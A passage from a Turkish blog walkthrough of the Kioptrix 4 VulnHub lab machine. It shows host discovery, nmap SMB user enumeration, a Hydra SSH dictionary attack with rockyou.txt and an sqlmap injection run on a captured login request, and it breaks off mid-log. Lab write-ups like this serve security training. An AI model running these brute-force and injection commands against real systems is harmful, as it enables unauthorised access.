{"id":1136,"date":"2021-05-23T22:46:21","date_gmt":"2021-05-23T22:46:21","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1136"},"modified":"2021-05-23T22:46:21","modified_gmt":"2021-05-23T22:46:21","slug":"kioptrix-4","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/05\/23\/kioptrix-4\/","title":{"rendered":"Kioptrix 4"},"content":{"rendered":"

Makine Hakk\u0131nda Bilgiler<\/h2>\n

A\u00e7\u0131klama:<\/strong>
\nIt\u2019s possible to remotely compromise the machine
\nStays within the target audience of this site
\nMust be \u201crealistic\u201d (well kinda\u2026)
\nShould serve as a refresher for me. Be it PHP or MySQL usage etc. Stuff I haven\u2019t done in a while.<\/p>\n

Vulnhub Sayfas\u0131:<\/strong>
\nhttps:\/\/www.vulnhub.com\/entry\/kioptrix-level-13-4%2C25\/<\/a><\/p>\n

\u0130ndirme Sayfas\u0131:<\/strong> https:\/\/download.vulnhub.com\/kioptrix\/Kioptrix4_vmware.rar<\/a><\/p>\n

Walkthrough<\/h2>\n

\u0130lk \u00f6nce hedef makinenin ip adresini tespit ederek ba\u015flayal\u0131m.<\/p>\n

\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# ifconfig\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n        inet 10.10.250.140  netmask 255.255.255.0  broadcast 10.10.250.255\n        inet6 fe80::20c:29ff:fe4a:4d3f  prefixlen 64  scopeid 0x20<link>\n        ether 00:0c:29:4a:4d:3f  txqueuelen 1000  (Ethernet)\n        RX packets 1269967  bytes 361940521 (345.1 MiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 1294590  bytes 175984461 (167.8 MiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nlo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536\n        inet 127.0.0.1  netmask 255.0.0.0\n        inet6 ::1  prefixlen 128  scopeid 0x10<host>\n        loop  txqueuelen 1000  (Local Loopback)\n        RX packets 4419  bytes 1154848 (1.1 MiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 4419  bytes 1154848 (1.1 MiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# arp-scan -l | grep 00:0c:29:ab:76:ef          \n10.10.250.143   00:0c:29:ab:76:ef   VMware, Inc.\n<\/code><\/pre>\n
Nmap taramas\u0131 ile devam edelim. \u0130lk nmap taramas\u0131n\u0131 ger\u00e7ekle\u015ftirdikten sonra scriptleri kullanarak ikinci bir nmap taramas\u0131 ger\u00e7ekle\u015ftirdim. sbm \u00fczerinden kullan\u0131c\u0131 tespit etmeyi denedim ve ba\u015far\u0131l\u0131 oldum. \u0130lk olarak sbm scritplerine nas\u0131l ula\u015ft\u0131\u011f\u0131ma bakal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# locate *.nse | grep smb | grep enum\n\/usr\/share\/nmap\/scripts\/smb-enum-domains.nse\n\/usr\/share\/nmap\/scripts\/smb-enum-groups.nse\n\/usr\/share\/nmap\/scripts\/smb-enum-processes.nse\n\/usr\/share\/nmap\/scripts\/smb-enum-services.nse\n\/usr\/share\/nmap\/scripts\/smb-enum-sessions.nse\n\/usr\/share\/nmap\/scripts\/smb-enum-shares.nse\n\/usr\/share\/nmap\/scripts\/smb-enum-users.nse\n\/usr\/share\/nmap\/scripts\/smb-mbenum.nse\n<\/code><\/pre>\n
Daha sonras\u0131nda smb-enum-users.nse<\/strong> scriptini se\u00e7tim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# nmap -p- -A --script=smb-enum-users.nse 10.10.250.143\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-05-22 20:04 EDT\nNmap scan report for 10.10.250.143\nHost is up (0.00047s latency).\nNot shown: 39528 closed ports, 26003 filtered ports\nPORT    STATE SERVICE     VERSION\n22\/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)\n80\/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP\/5.2.4-2ubuntu5.6 with Suhosin-Patch)\n|_http-server-header: Apache\/2.2.8 (Ubuntu) PHP\/5.2.4-2ubuntu5.6 with Suhosin-Patch\n139\/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n445\/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\nMAC Address: 00:0C:29:AB:76:EF (VMware)\nDevice type: general purpose\nRunning: Linux 2.6.X\nOS CPE: cpe:\/o:linux:linux_kernel:2.6\nOS details: Linux 2.6.9 - 2.6.33\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n| smb-enum-users: \n|   KIOPTRIX4\\john (RID: 3002)\n|     Full name:   ,,,\n|     Flags:       Normal user account\n|   KIOPTRIX4\\loneferret (RID: 3000)\n|     Full name:   loneferret,,,\n|     Flags:       Normal user account\n|   KIOPTRIX4\\nobody (RID: 501)\n|     Full name:   nobody\n|     Flags:       Normal user account\n|   KIOPTRIX4\\robert (RID: 3004)\n|     Full name:   ,,,\n|     Flags:       Normal user account\n|   KIOPTRIX4\\root (RID: 1000)\n|     Full name:   root\n|_    Flags:       Normal user account\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.47 ms 10.10.250.143\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 38.25 seconds\n<\/code><\/pre>\n
Hemen ilk i\u015fim olarak ssh servisine elde etmi\u015f oldu\u011fum root, robert, nobody, loneferret, john<\/strong> kullan\u0131c\u0131lar\u0131 ile bir s\u00f6zl\u00fck sald\u0131r\u0131s\u0131 ger\u00e7ekle\u015ftirdim. Bunun ger\u00e7ekle\u015fmesi uzun s\u00fcrece\u011fi i\u00e7in sald\u0131r\u0131y\u0131 ba\u015flatt\u0131m ve di\u011fer alanlara bakmaya devam ettim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# hydra -L users -P \/usr\/share\/wordlists\/rockyou.txt ssh:\/\/10.10.250.143 -t 4             130 \u2a2f\nHydra v9.1 (c) 2020 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2021-05-22 20:09:25\n[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, .\/hydra.restore\n[DATA] max 4 tasks per 1 server, overall 4 tasks, 71721995 login tries (l:5\/p:14344399), ~17930499 tries per task\n[DATA] attacking ssh:\/\/10.10.250.143:22\/\n<\/code><\/pre>\n
80 portunda biraz gezinelim... Bir login sayfas\u0131 ile kar\u015f\u0131la\u015ft\u0131m ve hemen burp arac\u0131l\u0131\u011f\u0131 ile http iste\u011fini yakalad\u0131m. Daha sonras\u0131nda bu iste\u011fi sqlmap'e verdim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# cat istek.txt                                          \nPOST \/checklogin.php HTTP\/1.1\nHost: 10.10.250.143\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 46\nOrigin: http:\/\/10.10.250.143\nConnection: close\nReferer: http:\/\/10.10.250.143\/\nUpgrade-Insecure-Requests: 1\n\nmyusername=*&mypassword=*&Submit=Login\n<\/code><\/pre>\n
\u015eimdi sqlmap \u00e7\u0131kt\u0131s\u0131na bakal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbs --batch\n        ___\n       __H__\n ___ ___[,]_____ ___ ___  {1.5.2#stable}\n|_ -| . [']     | .'| . |\n|___|_  [)]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 20:14:28 \/2021-05-22\/\n\n[20:14:28] [INFO] parsing HTTP request from 'istek.txt'\ncustom injection marker ('*') found in POST body. Do you want to process it? [Y\/n\/q] Y\n[20:14:28] [INFO] testing connection to the target URL\n[20:14:28] [INFO] testing if the target URL content is stable\n[20:14:29] [INFO] target URL content is stable\n[20:14:29] [INFO] testing if (custom) POST parameter '#1*' is dynamic\n[20:14:29] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic\n[20:14:29] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable\n[20:14:29] [INFO] testing for SQL injection on (custom) POST parameter '#1*'\n[20:14:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\n[20:14:29] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'\n[20:14:29] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'\n[20:14:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'\n[20:14:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'\n[20:14:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'\n[20:14:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'\n[20:14:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'\n[20:14:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'\n[20:14:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'\n[20:14:31] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'\n[20:14:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)'\n[20:14:31] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)'\n[20:14:31] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'\n[20:14:31] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'\n[20:14:31] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'\n[20:14:32] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'\n[20:14:32] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'\n[20:14:32] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'\n[20:14:32] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'\n[20:14:33] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'\n[20:14:33] [INFO] testing 'PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)'\n[20:14:33] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'\n[20:14:34] [INFO] testing 'Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'\n[20:14:34] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'\n[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'\n[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'\n[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'\n[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'\n[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'\n[20:14:34] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'\n[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace'\n[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace (original value)'\n[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES)'\n[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value)'\n[20:14:34] [INFO] testing 'Microsoft SQL Server\/Sybase boolean-based blind - Parameter replace'\n[20:14:34] [INFO] testing 'Microsoft SQL Server\/Sybase boolean-based blind - Parameter replace (original value)'\n[20:14:34] [INFO] testing 'Oracle boolean-based blind - Parameter replace'\n[20:14:34] [INFO] testing 'Oracle boolean-based blind - Parameter replace (original value)'\n[20:14:34] [INFO] testing 'Informix boolean-based blind - Parameter replace'\n[20:14:34] [INFO] testing 'Informix boolean-based blind - Parameter replace (original value)'\n[20:14:34] [INFO] testing 'Microsoft Access boolean-based blind - Parameter replace'\n[20:14:34] [INFO] testing 'Microsoft Access boolean-based blind - Parameter replace (original value)'\n[20:14:34] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'\n[20:14:34] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'\n[20:14:34] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'\n[20:14:34] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'\n[20:14:34] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'\n[20:14:34] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'\n[20:14:34] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'\n[20:14:34] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'\n[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause'\n[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY clause (original value)'\n[20:14:34] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY clause (GENERATE_SERIES)'\n[20:14:34] [INFO] testing 'Microsoft SQL Server\/Sybase boolean-based blind - ORDER BY clause'\n[20:14:34] [INFO] testing 'Microsoft SQL Server\/Sybase boolean-based blind - ORDER BY clause (original value)'\n[20:14:34] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause'\n[20:14:34] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value)'\n[20:14:34] [INFO] testing 'Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause'\n[20:14:34] [INFO] testing 'Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause (original value)'\n[20:14:34] [INFO] testing 'SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause'\n[20:14:34] [INFO] testing 'SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause (original value)'\n[20:14:34] [INFO] testing 'IBM DB2 boolean-based blind - ORDER BY clause'\n[20:14:34] [INFO] testing 'IBM DB2 boolean-based blind - ORDER BY clause (original value)'\n[20:14:34] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'\n[20:14:34] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'\n[20:14:35] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'\n[20:14:35] [INFO] testing 'PostgreSQL boolean-based blind - Stacked queries'\n[20:14:35] [INFO] testing 'PostgreSQL boolean-based blind - Stacked queries (GENERATE_SERIES)'\n[20:14:35] [INFO] testing 'Microsoft SQL Server\/Sybase boolean-based blind - Stacked queries (IF)'\n[20:14:35] [INFO] testing 'Microsoft SQL Server\/Sybase boolean-based blind - Stacked queries'\n[20:14:35] [INFO] testing 'Oracle boolean-based blind - Stacked queries'\n[20:14:35] [INFO] testing 'Microsoft Access boolean-based blind - Stacked queries'\n[20:14:35] [INFO] testing 'SAP MaxDB boolean-based blind - Stacked queries'\n[20:14:35] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'\n[20:14:36] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'\n[20:14:36] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'\n[20:14:36] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'\n[20:14:37] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'\n[20:14:37] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'\n[20:14:37] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'\n[20:14:38] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'\n[20:14:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[20:14:38] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[20:14:38] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[20:14:39] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[20:14:39] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[20:14:39] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[20:14:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[20:14:40] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'\n[20:14:40] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'\n[20:14:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'\n[20:14:40] [INFO] testing 'PostgreSQL OR error-based - WHERE or HAVING clause'\n[20:14:40] [INFO] testing 'Microsoft SQL Server\/Sybase AND error-based - WHERE or HAVING clause (IN)'\n[20:14:41] [INFO] testing 'Microsoft SQL Server\/Sybase OR error-based - WHERE or HAVING clause (IN)'\n[20:14:41] [INFO] testing 'Microsoft SQL Server\/Sybase AND error-based - WHERE or HAVING clause (CONVERT)'\n[20:14:41] [INFO] testing 'Microsoft SQL Server\/Sybase OR error-based - WHERE or HAVING clause (CONVERT)'\n[20:14:42] [INFO] testing 'Microsoft SQL Server\/Sybase AND error-based - WHERE or HAVING clause (CONCAT)'\n[20:14:42] [INFO] testing 'Microsoft SQL Server\/Sybase OR error-based - WHERE or HAVING clause (CONCAT)'\n[20:14:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'\n[20:14:42] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'\n[20:14:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'\n[20:14:43] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'\n[20:14:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'\n[20:14:44] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'\n[20:14:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)'\n[20:14:44] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)'\n[20:14:44] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'\n[20:14:45] [INFO] testing 'Firebird OR error-based - WHERE or HAVING clause'\n[20:14:45] [INFO] testing 'MonetDB AND error-based - WHERE or HAVING clause'\n[20:14:45] [INFO] testing 'MonetDB OR error-based - WHERE or HAVING clause'\n[20:14:45] [INFO] testing 'Vertica AND error-based - WHERE or HAVING clause'\n[20:14:46] [INFO] testing 'Vertica OR error-based - WHERE or HAVING clause'\n[20:14:46] [INFO] testing 'IBM DB2 AND error-based - WHERE or HAVING clause'\n[20:14:46] [INFO] testing 'IBM DB2 OR error-based - WHERE or HAVING clause'\n[20:14:46] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'\n[20:14:46] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'\n[20:14:46] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'\n[20:14:46] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'\n[20:14:47] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'\n[20:14:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'\n[20:14:47] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'\n[20:14:47] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'\n[20:14:47] [INFO] testing 'PostgreSQL error-based - Parameter replace'\n[20:14:47] [INFO] testing 'PostgreSQL error-based - Parameter replace (GENERATE_SERIES)'\n[20:14:47] [INFO] testing 'Microsoft SQL Server\/Sybase error-based - Parameter replace'\n[20:14:47] [INFO] testing 'Microsoft SQL Server\/Sybase error-based - Parameter replace (integer column)'\n[20:14:47] [INFO] testing 'Oracle error-based - Parameter replace'\n[20:14:47] [INFO] testing 'Firebird error-based - Parameter replace'\n[20:14:47] [INFO] testing 'IBM DB2 error-based - Parameter replace'\n[20:14:47] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'\n[20:14:47] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)'\n[20:14:47] [INFO] testing 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)'\n[20:14:47] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)'\n[20:14:47] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)'\n[20:14:47] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'\n[20:14:47] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'\n[20:14:47] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'\n[20:14:47] [INFO] testing 'PostgreSQL error-based - ORDER BY, GROUP BY clause'\n[20:14:47] [INFO] testing 'PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES)'\n[20:14:47] [INFO] testing 'Microsoft SQL Server\/Sybase error-based - ORDER BY clause'\n[20:14:47] [INFO] testing 'Oracle error-based - ORDER BY, GROUP BY clause'\n[20:14:47] [INFO] testing 'Firebird error-based - ORDER BY clause'\n[20:14:47] [INFO] testing 'IBM DB2 error-based - ORDER BY clause'\n[20:14:47] [INFO] testing 'Microsoft SQL Server\/Sybase error-based - Stacking (EXEC)'\n[20:14:47] [INFO] testing 'Generic inline queries'\n[20:14:47] [INFO] testing 'MySQL inline queries'\n[20:14:47] [INFO] testing 'PostgreSQL inline queries'\n[20:14:47] [INFO] testing 'Microsoft SQL Server\/Sybase inline queries'\n[20:14:47] [INFO] testing 'Oracle inline queries'\n[20:14:47] [INFO] testing 'SQLite inline queries'\n[20:14:47] [INFO] testing 'Firebird inline queries'\n[20:14:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'\n[20:14:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries'\n[20:14:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'\n[20:14:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'\n[20:14:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'\n[20:14:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'\n[20:14:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'\n[20:14:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries'\n[20:14:48] [INFO] testing 'PostgreSQL stacked queries (heavy query - comment)'\n[20:14:48] [INFO] testing 'PostgreSQL stacked queries (heavy query)'\n[20:14:48] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'\n[20:14:49] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc)'\n[20:14:49] [INFO] testing 'Microsoft SQL Server\/Sybase stacked queries (comment)'\n[20:14:49] [INFO] testing 'Microsoft SQL Server\/Sybase stacked queries (DECLARE - comment)'\n[20:14:49] [INFO] testing 'Microsoft SQL Server\/Sybase stacked queries'\n[20:14:49] [INFO] testing 'Microsoft SQL Server\/Sybase stacked queries (DECLARE)'\n[20:14:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'\n[20:14:50] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'\n[20:14:50] [INFO] testing 'Oracle stacked queries (heavy query - comment)'\n[20:14:50] [INFO] testing 'Oracle stacked queries (heavy query)'\n[20:14:50] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP - comment)'\n[20:14:50] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'\n[20:14:50] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP - comment)'\n[20:14:50] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'\n[20:14:50] [INFO] testing 'IBM DB2 stacked queries (heavy query - comment)'\n[20:14:50] [INFO] testing 'IBM DB2 stacked queries (heavy query)'\n[20:14:51] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'\n[20:14:51] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'\n[20:14:51] [INFO] testing 'Firebird stacked queries (heavy query - comment)'\n[20:14:51] [INFO] testing 'Firebird stacked queries (heavy query)'\n[20:14:51] [INFO] testing 'SAP MaxDB stacked queries (heavy query - comment)'\n[20:14:51] [INFO] testing 'SAP MaxDB stacked queries (heavy query)'\n[20:14:52] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query - comment)'\n[20:14:52] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query)'\n[20:14:52] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query - comment)'\n[20:14:52] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query)'\n[20:14:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'\n[20:14:52] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'\n[20:14:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'\n[20:14:53] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'\n[20:14:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'\n[20:14:53] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'\n[20:14:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'\n[20:14:54] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'\n[20:14:54] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'\n[20:14:54] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'\n[20:14:54] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)'\n[20:14:55] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query - comment)'\n[20:14:55] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'\n[20:14:55] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'\n[20:14:55] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'\n[20:14:55] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'\n[20:14:56] [INFO] testing 'MySQL AND time-based blind (ELT)'\n[20:14:56] [INFO] testing 'MySQL OR time-based blind (ELT)'\n[20:14:56] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'\n[20:14:56] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'\n[20:14:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'\n[20:14:57] [INFO] testing 'PostgreSQL > 8.1 OR time-based blind'\n[20:14:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind (comment)'\n[20:14:57] [INFO] testing 'PostgreSQL > 8.1 OR 